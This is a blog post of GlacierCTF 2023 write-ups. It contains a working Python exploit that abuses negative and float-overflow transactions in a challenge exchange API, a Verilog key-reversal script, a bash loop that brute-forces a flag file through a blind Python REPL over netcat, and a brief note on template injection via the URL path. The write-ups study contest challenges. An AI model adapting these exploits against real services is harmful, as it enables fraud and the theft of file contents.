2023-11-29

Glacier CTF 2023 Writeups

CTF Writeups for GlacierCTF

Jeopardy CTF with local group from Braunschweig, were not that active active for that CTF though, I was only able to solve beginner challenges.

Glacier Exchange (Web)

Challenge webpage

Goal of this task was to get 1 000 000 000 Dollars in Cash-Out while having nothing in your other wallets. Source Code was provided. A quick look at the source code revealed, that you could trade a negative sums of money, so if you "invest" -999 Dollar of your cash-out money to something else you get more money in your cash-out account.

def transaction(self, source, dest, amount):
        if source in self.balances and dest in self.balances:
            with self.lock:
                if self.balances[source] >= amount:
                    self.balances[source] -= amount
                    self.balances[dest] += amount
                    return 1
        return 0
Infinite Money glitch

So just trade minus one-billion dollars and get the flag? Not so fast, you still have to zero out your "dept" of your other wallets first, but how?

Internally, the backend is a python flask application, and the wallet balance is stored as float, in python these numbers cannot overflow, but if the numbers stored within are getting too large the float switches to "Inf".

Transferring "sys.float_info.max" amount of money (1.7976931348623157e+308) from your cash-out wallet to another wallet twice gets you plus Infinity Money. Congratz!

[{"name":"cashout","value":Infinity},{"name":"glaciercoin","value":-Infinity},{"name":"ascoin","value":-1.7976931348623157e+308},{"name":"doge","value":0},{"name":"gamestock","value":0},{"name":"ycmi","value":0},{"name":"smtl","value":0}]

Now your can "substract" any amount of Inifinity from your endless wealth to zero out the other wallets, to prevent these from reaching minus Infinity, just spread both transactions to different wallets.

Once you zero out both wallets you get the flag once you enter the "club"

Exploit:

import requests
import sys

#cookie="eyJpZCI6IjJhY0tKQmJZSzZreW1pWTdYNjBMaXcifQ.ZWG62A.-aiJuSTRvDHgo0Kgo6NR7xOBg5A"
f_inf_num = sys.float_info.max

def add_balance(fCoin,tCoin,amount):
    r=s.post("https://glacierexchange.web.glacierctf.com/api/wallet/transaction", 
      json={"sourceCoin":fCoin,"targetCoin":tCoin,"balance":amount}, 
       headers={"DNT": "1"},
       cookies={"session": cookie})
    print(r.text)


def print_balance():
    bal=s.get("https://glacierexchange.web.glacierctf.com/api/wallet/balances", 
      headers={"DNT": "1"}, 
      cookies={"session": cookie})
    print(bal.text)


s = requests.session()
r=s.get("https://glacierexchange.web.glacierctf.com/api/wallet/balances")
cookie=r.cookies.get("session")

add_balance("cashout","ascoin",-(f_inf_num))
print_balance()
add_balance("cashout","glaciercoin",-(f_inf_num))
print_balance()

add_balance("cashout","glaciercoin",(f_inf_num))
print_balance()
add_balance("cashout","ascoin",(f_inf_num))
print_balance()


bal=s.post("https://glacierexchange.web.glacierctf.com/api/wallet/join_glacier_club", 
      headers={"DNT": "1"}, 
      cookies={"session": cookie})
print_balance()
print(bal.text)

Output:

~ python3 ps.py
{"result":1}

[{"name":"cashout","value":1.7976931348623157e+308},{"name":"glaciercoin","value":0},{"name":"ascoin","value":-1.7976931348623157e+308},{"name":"doge","value":0},{"name":"gamestock","value":0},{"name":"ycmi","value":0},{"name":"smtl","value":0}]

{"result":1}

[{"name":"cashout","value":Infinity},{"name":"glaciercoin","value":-1.7976931348623157e+308},{"name":"ascoin","value":-1.7976931348623157e+308},{"name":"doge","value":0},{"name":"gamestock","value":0},{"name":"ycmi","value":0},{"name":"smtl","value":0}]

{"result":1}

[{"name":"cashout","value":Infinity},{"name":"glaciercoin","value":0.0},{"name":"ascoin","value":-1.7976931348623157e+308},{"name":"doge","value":0},{"name":"gamestock","value":0},{"name":"ycmi","value":0},{"name":"smtl","value":0}]

{"result":1}

[{"name":"cashout","value":Infinity},{"name":"glaciercoin","value":0.0},{"name":"ascoin","value":0.0},{"name":"doge","value":0},{"name":"gamestock","value":0},{"name":"ycmi","value":0},{"name":"smtl","value":0}]

[{"name":"cashout","value":Infinity},{"name":"glaciercoin","value":0.0},{"name":"ascoin","value":0.0},{"name":"doge","value":0},{"name":"gamestock","value":0},{"name":"ycmi","value":0},{"name":"smtl","value":0}]

{"clubToken":"gctf{PyTh0N_CaN_hAv3_Fl0At_0v3rFl0ws_2}","inClub":true}

Skilift (Beginner Misc)

This challenge was quite straightforward, you needed to provide a code and you had the source on how the backend converts your input before checking it. Only hard part: The Code was written in Verilog.

1module top(
2 input [63:0] key,
3 output lock
4);
5
6 reg [63:0] tmp1, tmp2, tmp3, tmp4;
7
8 // Stage 1
9 always @(*) begin
10 tmp1 = key & 64'hF0F0F0F0F0F0F0F0;
11 end
12
13 // Stage 2
14 always @(*) begin
15 tmp2 = tmp1 <<< 5;
16 end
17
18 // Stage 3
19 always @(*) begin
20 tmp3 = tmp2 ^ "HACKERS!";
21 end
22
23 // Stage 4
24 always @(*) begin
25 tmp4 = tmp3 - 12345678;
26 end
27
28 // I have the feeling "lock" should be 1'b1
29 assign lock = tmp4 == 64'h5443474D489DFDD3;
30
31endmodule

"Strategy" on how to solve it: Just reverse any action the code does, only the first Stage is hard, because a AND Operation is not reversible, maybe brute-force this step?

This code, that just ignored the AND stage worked on the first try, guess the challenge was designed in a way that the AND Input was just the AND Output:

AND_MASK = 0xF0F0F0F0F0F0F0F0
XOR_STRING = "HACKERS!"
COMPARE_VALUE = 0x5443474D489DFDD3     
SUBTRACT_VALUE = 12345678
BIT_SIZE = 64

def reverse():
    print(COMPARE_VALUE)
    tmp3 = COMPARE_VALUE + SUBTRACT_VALUE
    print(tmp3)
    xor_value = int.from_bytes(XOR_STRING.encode(), 'big')
    tmp2 = tmp3 ^xor_value
    print(tmp2)
    tmp1 = tmp2 >> 5
    print(tmp1)
    input = tmp1
    print(hex(input))

reverse()

Challenge:

  ~  nc chall.glacierctf.com 13375
                 ∗        ∗               ∗          ∗
         
                                                     ◦◦╽◦◦
                  ∗                      ∗          ◦◦ █  ◦
                                                   ◦◦  █
                                     ∗         ∗  ◦◦   █
                   ∗    ◦╽◦◦                   ◦◦◦◦    █
                       ◦◦ █ ◦◦◦         ◦◦╽◦◦◦◦◦◦       █
                      ◦◦  █   ◦◦◦◦◦◦◦◦◦◦◦ █             █
      ■■■■■■■■     ◦◦◦◦   █        ▛      █  ∗          █  ∗
             ▙ ◦◦◦       █  ∗     ▌      █         ∗   █
   ▟          ▙          █     ██████  ∗ █             █
               ▙     ∗   █     █    █    █             █
   ▛▀▀▀▀▀▀▀▀▀▀▀▀▜         █     ██████    █             █░░░
               ▐         █               █    ∗       ░░░░░
               ▐  ∗      █               █          ░░░░░▒▒
     ▛▀▀▀▜     ▐         █   ∗           █        ░░░░░▒░░░
  ▌  ▌   ▐     ▐      ∗  █          ∗   ░░░░░░░▓░░░░░░▒▒░░░
     ▌ ╾ ▐     ▐         █░░░░░      ░░░░▒░░░░▓░░░░░░░░░░░░
     ▌   ▐     ▐     ░░░░░▒▒▒░░░░░░░░░░░░░░░░░▒▒▒░░░░░░░▓▓▓
   ▙▄▄▙▄▄▄▟▄▄▄▄▄▟     ░░░░▒▒░░░░▓▓░░░░░░░░░▓░░░░░░░░░░░░░░░░
░░░░░░░░░░░▒▒▒░░░░▒░░░░░░░░░░░░░░░░░░░░▓▓░░░░░░░░░▓▓░░▒▒░░░░
░░▓░░▒░░░▓░░░░░░░░░░░░░░░░░▒░▓░░░▒░░░░▓░░░░░▒░░░░▓▓░▒▒░░░░░░
░▓▓░░▒░░░░░░▒░░░░░░░░░░░░░░░▓▓▓░░░▒░░░░░░░░░▒▒░▒░░░░░░░░▒░░░
░░░░░░░▒░░░░░░░░▓▓▓░░░░▒▒░░▒░░░░░░▒▓▓░░▒▒░░░░░░▓░░▓░░░░▓▒░░░
░░░▒░░░▓░░░░░▒░░░░░░▒▓░░░░░░░░░░░░░▓░░░░░░░▓░░▓░▓░░░░░░▓░░░░
░░░░░░▓▓░░░▒▒▒░░░░░░░▓▓▓▓▓░░░░▒░░░░░▒░░░░░░░░░░▒░░░░▒░░░░░░░
░░░░▓░▒▒▒░░░░░░░░░░▒░░░░░░░░░░▓▓▓▒░░░░░░░░░▒░░░░▓░░░░░▓▓░░▒░
░░▓▓░░░░░░░▓░░▒░░░░░░░░░▒▒▒▒▒░░░░░░░░▒░▒▒░░░░░▓▓░░░░▓▓░░░░░░


               ╔═════════════════════════════╗
                > Welcome to SkiOS v1.0.0   ║
               
                > Please provide the        ║
                  master key to start       ║
                  the ski lift              ║
               
                (format 0x1234567812345678) 
               
               ╚═════════════════════════════╝

                    Please input your key
                    >0xe0102030604060
 gctf{V3r1log_ISnT_SO_H4rd_4fTer_4ll_!1!}

Solves from others I found interesting

Silent Snake (Misc)

Challenge: You are able to fire one "ls" to show directory contents, everything else is forbidden and won't work.

1#!/usr/bin/env python3
2
3import os
4import sys
5import code
6
7DEBUG = os.environ.get("DEBUG", "0") == "1"
8
9cpipe = os.fdopen(int(sys.argv[1]), "w", buffering=1)
10devnull = open("/dev/null", mode="w")
11
12print("""
13Welcome to silent-snake, the blind REPL!
14
15You've got a single ls that you can redeem using
16`run_command('ls <directory_to_ls>')`
17
18To exit the jail, use `exit()` or `run_command('exit')`
19
20Have fun!
21""")
22
23if not DEBUG:
24 sys.stdout.close()
25 sys.stderr.close()
26 os.close(1)
27 os.close(2)
28 sys.stdout = devnull
29 sys.stderr = devnull
30
31else:
32 print(50*"=")
33 print("WARNING: Debugging mode is *ON*. stdout and stderr are available here, but you won't be able to see the REPL's output during the challenge.")
34 print(50*"=")
35
36 # Redirect stderr to stdout
37 os.dup2(1, 2, inheritable=True)
38
39def run_command(cmd: str):
40 cpipe.write(cmd + "\n")
41
42code.interact(local=locals())
43
44run_command("exit")

I wrote some code to scan every folder recursive inside the system, but that did not lead to finding a flag. After the competition ended I looked at the misc discord channel and someone posted their solution.

What I did not think of: "run_command(ls /)" was not the only command I could run, because I had an (invisible) interactive shell I could have chained arbitrary code before or after the run_command command and do stuff there.

The smart person from the discord server opened the flag and brute forced every character, if the "contains" function found a matching character in the flag.txt file only then he would run the "run_command(ls / )" function.

Every time the script would return the content of ls another new character of the flag have been found.

The Code was:

#!/bin/bash

flag="gctf{"
found="true"
while [[ $found == "true" ]]; do
        echo $flag
        found="false"
        for l in {0..9} "_" {a..z} "}" {A..Z} "!" "@" "$" "%" "^" "&" "?" ; do
                if [[ $found == "true" ]]; then
                        continue
                fi
                echo $l
                echo "run_command('ls .') if open('flag.txt', 'r').read().startswith('${flag}${l}') == True else None" | timeout 1 nc chall.glacierctf.com 13391 | grep -i "nobody" && found="true" && flag+=$l
        done
done

The Code in action:

Brute force

My first Website (Beginner Web)

My first website = mfw

The /project hyperlink lead to a 404 page, the http response itself was 404 though. The calculator stuff was a hint that a server side templating-engine was used. I also did not think of this

The only controllable stuff for me was the url path. Turns out the "path" was also used inside the templating engine, it printed "xy was not found on the server", so we can inject template code via the url path parameter:

Jinja 2?

Flag:

Flag